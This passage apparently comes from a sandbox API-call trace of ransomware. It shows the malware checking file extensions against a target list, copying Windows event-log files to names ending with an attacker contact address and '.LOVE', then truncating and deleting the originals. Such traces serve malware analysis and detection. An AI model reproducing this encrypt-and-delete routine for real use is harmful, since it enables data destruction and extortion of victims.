lpString2="vtx") returned -1 [0207.798] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0207.798] lstrlenW (lpString=".dbf") returned 4 [0207.798] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.798] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0207.798] lstrlenW (lpString=".1cd") returned 4 [0207.798] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.798] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0207.798] lstrlenW (lpString=".jpg") returned 4 [0207.799] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.799] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0207.799] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0207.799] lstrlenW (lpString=".doc") returned 4 [0207.799] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.799] lstrlenW (lpString=".docx") returned 5 [0207.799] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.799] lstrlenW (lpString=".pdf") returned 4 [0207.799] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.799] lstrlenW (lpString=".xls") returned 4 [0207.799] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.799] lstrlenW (lpString=".xlsx") returned 5 [0207.799] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.799] lstrlenW (lpString=".ppt") returned 4 [0207.799] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.799] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0207.799] lstrlenW (lpString=".zip") returned 4 [0207.799] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.799] lstrlenW (lpString=".rar") returned 4 [0207.799] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.799] lstrlenW (lpString=".bz2") returned 4 [0207.799] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.799] lstrlenW (lpString=".7z") returned 3 [0207.799] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.799] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0207.799] lstrlenW (lpString=".dbf") returned 4 [0207.799] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.799] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0207.799] lstrlenW (lpString=".1cd") returned 4 [0207.799] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.799] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0207.799] lstrlenW (lpString=".jpg") returned 4 [0207.799] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.800] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.800] lstrlenW (lpString="Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 45 [0207.800] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.800] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0207.800] CloseHandle (hObject=0x31c) returned 1 [0207.800] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20 [0207.800] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.800] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.800] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.800] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.800] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0207.801] GetLastError () returned 0x0 [0207.801] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.832] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.834] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.834] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x12e, lpOverlapped=0x0) returned 1 [0207.834] SetEndOfFile (hFile=0x378) returned 1 [0207.834] CloseHandle (hObject=0x378) returned 1 [0207.836] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.836] SetEndOfFile (hFile=0x31c) returned 1 [0207.837] CloseHandle (hObject=0x31c) returned 1 [0207.837] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.837] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1 [0207.838] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0207.838] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0207.838] lstrlenW (lpString=".doc") returned 4 [0207.838] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.838] lstrlenW (lpString=".docx") returned 5 [0207.838] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.838] lstrlenW (lpString=".pdf") returned 4 [0207.838] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.838] lstrlenW (lpString=".xls") returned 4 [0207.838] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.838] lstrlenW (lpString=".xlsx") returned 5 [0207.838] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.838] lstrlenW (lpString=".ppt") returned 4 [0207.838] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.838] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0207.838] lstrlenW (lpString=".zip") returned 4 [0207.838] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.838] lstrlenW (lpString=".rar") returned 4 [0207.838] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.838] lstrlenW (lpString=".bz2") returned 4 [0207.838] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.838] lstrlenW (lpString=".7z") returned 3 [0207.838] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.838] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0207.838] lstrlenW (lpString=".dbf") returned 4 [0207.838] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.838] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0207.838] lstrlenW (lpString=".1cd") returned 4 [0207.839] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0207.839] lstrlenW (lpString=".jpg") returned 4 [0207.839] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0207.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0207.839] lstrlenW (lpString=".doc") returned 4 [0207.839] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.839] lstrlenW (lpString=".docx") returned 5 [0207.839] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.839] lstrlenW (lpString=".pdf") returned 4 [0207.839] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.839] lstrlenW (lpString=".xls") returned 4 [0207.839] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.839] lstrlenW (lpString=".xlsx") returned 5 [0207.839] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.839] lstrlenW (lpString=".ppt") returned 4 [0207.839] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0207.839] lstrlenW (lpString=".zip") returned 4 [0207.839] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.839] lstrlenW (lpString=".rar") returned 4 [0207.839] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.839] lstrlenW (lpString=".bz2") returned 4 [0207.839] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.839] lstrlenW (lpString=".7z") returned 3 [0207.839] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0207.839] lstrlenW (lpString=".dbf") returned 4 [0207.839] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0207.839] lstrlenW (lpString=".1cd") returned 4 [0207.839] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0207.839] lstrlenW (lpString=".jpg") returned 4 [0207.839] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.840] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.840] lstrlenW (lpString="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 57 [0207.840] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.840] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0207.840] CloseHandle (hObject=0x31c) returned 1 [0207.840] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20 [0207.840] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.840] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.841] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.841] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.841] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0207.856] GetLastError () returned 0x0 [0207.856] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.862] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.864] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.864] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x146, lpOverlapped=0x0) returned 1 [0207.864] SetEndOfFile (hFile=0x378) returned 1 [0207.864] CloseHandle (hObject=0x378) returned 1 [0207.866] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.866] SetEndOfFile (hFile=0x31c) returned 1 [0207.867] CloseHandle (hObject=0x31c) returned 1 [0207.867] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.867] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 1 [0207.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0207.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0207.868] lstrlenW (lpString=".doc") returned 4 [0207.868] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.868] lstrlenW (lpString=".docx") returned 5 [0207.868] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.868] lstrlenW (lpString=".pdf") returned 4 [0207.868] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.868] lstrlenW (lpString=".xls") returned 4 [0207.868] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.868] lstrlenW (lpString=".xlsx") returned 5 [0207.868] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.868] lstrlenW (lpString=".ppt") returned 4 [0207.868] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0207.868] lstrlenW (lpString=".zip") returned 4 [0207.868] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.868] lstrlenW (lpString=".rar") returned 4 [0207.868] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.868] lstrlenW (lpString=".bz2") returned 4 [0207.868] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.868] lstrlenW (lpString=".7z") returned 3 [0207.868] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0207.868] lstrlenW (lpString=".dbf") returned 4 [0207.868] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0207.868] lstrlenW (lpString=".1cd") returned 4 [0207.868] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.868] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0207.869] lstrlenW (lpString=".jpg") returned 4 [0207.869] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0207.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0207.869] lstrlenW (lpString=".doc") returned 4 [0207.869] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.869] lstrlenW (lpString=".docx") returned 5 [0207.869] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.869] lstrlenW (lpString=".pdf") returned 4 [0207.869] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.869] lstrlenW (lpString=".xls") returned 4 [0207.869] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.869] lstrlenW (lpString=".xlsx") returned 5 [0207.869] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.869] lstrlenW (lpString=".ppt") returned 4 [0207.869] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0207.869] lstrlenW (lpString=".zip") returned 4 [0207.869] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.869] lstrlenW (lpString=".rar") returned 4 [0207.869] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.869] lstrlenW (lpString=".bz2") returned 4 [0207.869] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.869] lstrlenW (lpString=".7z") returned 3 [0207.869] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0207.869] lstrlenW (lpString=".dbf") returned 4 [0207.869] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0207.869] lstrlenW (lpString=".1cd") returned 4 [0207.869] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.869] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0207.869] lstrlenW (lpString=".jpg") returned 4 [0207.869] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.870] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.870] lstrlenW (lpString="Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 42 [0207.870] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.870] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0207.870] CloseHandle (hObject=0x31c) returned 1 [0207.870] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20 [0207.870] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.870] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.870] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.870] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.870] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0207.871] GetLastError () returned 0x0 [0207.871] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.948] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.950] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.950] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x128, lpOverlapped=0x0) returned 1 [0207.951] SetEndOfFile (hFile=0x378) returned 1 [0207.951] CloseHandle (hObject=0x378) returned 1 [0207.953] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.953] SetEndOfFile (hFile=0x31c) returned 1 [0207.954] CloseHandle (hObject=0x31c) returned 1 [0207.954] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.955] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1 [0207.955] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0207.955] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0207.955] lstrlenW (lpString=".doc") returned 4 [0207.955] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.955] lstrlenW (lpString=".docx") returned 5 [0207.955] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.955] lstrlenW (lpString=".pdf") returned 4 [0207.955] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.955] lstrlenW (lpString=".xls") returned 4 [0207.955] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.955] lstrlenW (lpString=".xlsx") returned 5 [0207.955] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.955] lstrlenW (lpString=".ppt") returned 4 [0207.955] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.955] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0207.955] lstrlenW (lpString=".zip") returned 4 [0207.955] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.955] lstrlenW (lpString=".rar") returned 4 [0207.955] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.956] lstrlenW (lpString=".bz2") returned 4 [0207.956] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.956] lstrlenW (lpString=".7z") returned 3 [0207.956] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.956] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0207.956] lstrlenW (lpString=".dbf") returned 4 [0207.956] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.956] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0207.956] lstrlenW (lpString=".1cd") returned 4 [0207.956] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.956] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0207.956] lstrlenW (lpString=".jpg") returned 4 [0207.956] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.956] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0207.956] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0207.956] lstrlenW (lpString=".doc") returned 4 [0207.956] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.956] lstrlenW (lpString=".docx") returned 5 [0207.956] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.956] lstrlenW (lpString=".pdf") returned 4 [0207.956] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.956] lstrlenW (lpString=".xls") returned 4 [0207.956] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.956] lstrlenW (lpString=".xlsx") returned 5 [0207.957] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.957] lstrlenW 